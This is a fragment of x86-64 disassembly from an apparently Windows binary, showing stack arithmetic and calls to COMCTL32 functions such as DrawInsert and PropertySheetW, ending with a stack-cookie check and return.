mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x48d], al
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x27c0]
add eax, ecx
mov word [rsp + 0x112c], ax
mov eax, dword [rsp + 0x7f00]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10588]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
jmp 0x1401f1db3
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0x50d]
sub eax, ecx
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x405]
sub ecx, edx
cmp eax, ecx
jle 0x1401f1db3
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x68f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x7f10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [rsp + 0x50e]
sar eax, cl
mov byte [0x14023c038], al
call fcn.1401f2280
mov rax, qword [rsp + 0x10528]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x104a8]
movzx ecx, word [rsp + 0x27b4]
call fcn.1401f2340
mov edx, dword [rsp + 0x7f3c]
movzx ecx, word [rsp + 0x165c]
call fcn.1401f1fa0
jmp 0x1401f1e8d
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x68f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0xda68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104e8], rax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7ef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f3c], eax
mov r8d, 0x84
mov rdx, qword [rsp + 0x10550]
mov rcx, qword [rsp + 0x108b8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea r8, [rsp + 0x10528]
lea rdx, [fcn.1401f23c0]
mov rcx, qword [rsp + 0x10908]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x7f80], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
or eax, ecx
mov byte [rsp + 0x48d], al
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [0x14023c378], ax
movzx eax, word [0x1402815d0]
movzx ecx, word [rsp + 0x11a8]
sub eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [0x1402815c8]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xce]
mov rax, qword [0x1402815c8]
movzx edx, byte [rax]
mov rax, qword [0x1402815c8]
movzx ecx, byte [rax]
call fcn.1401f23c0
lea rcx, [rsp + 0x25030]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x6da8]
mov rcx, qword [rsp + 0x32090]
xor rcx, rsp
call fcn.1401f2880
add rsp, 0x320a8
ret